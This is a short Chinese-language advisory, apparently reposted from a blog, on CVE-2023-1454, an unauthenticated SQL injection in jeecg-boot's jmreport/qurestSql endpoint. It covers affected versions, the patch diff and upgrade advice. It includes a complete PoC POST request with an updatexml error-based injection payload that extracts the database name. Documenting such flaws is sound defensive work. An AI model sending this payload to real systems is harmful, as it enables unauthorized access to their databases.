漏洞分析|jeecg-boot 未授权SQL注入漏洞(CVE-2023-1454)

发布时间:2024年01月02日

1.漏洞描述

JeecgBoot的代码生成器是一种可以帮助开发者快速构建企业级应用的工具,它可以通过一键生成前后端代码,无需写任何代码,让开发者更多关注业务逻辑。

jeecg-boot 3.5.0版本存在SQL注入漏洞,该漏洞源于文件 jmreport/qurestSql 存在安全问题, 通过参数 apiSelectId 导致SQL注入。

2.影响版本

Jeecg-Boot<=3.5.1

3.影响范围

4.漏洞分析

漏洞产生点在积木报表插件内,查看更新的3.5.1的版本更新

https://github.com/jeecgboot/jeecg-boot/compare/v3.5.1last...master

更改了72处的文件,其中需要注意db/其他数据库/jeecgboot-sqlserver2019.sql中重写了数据插入的方法

jeecg-boot-base-core/src/main/java/org/jeecg/common/util/SqlInjectionUtil.java中增加了对sql语句的正则

这个修复是针对于后端的SQL注入,/sys/duplicate/check

目前最新更新的3.5.1版本似乎依旧没有针对积木报表注入点儿的加固措施,修复时更换jar包

目前积木官方的jar包已升级。

关注积木5月份的升级日志

Poc:
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; or-IN) AppleWebKit/535.7.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B116 Safari/6535.7.5
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 129

{"apiSelectId": "1316997232402231298", "id": "1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}

5.修复建议

建议更新当前系统或软件至最新版,完成漏洞的修复。

文章来源:https://blog.csdn.net/xuandaoren/article/details/135315918
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。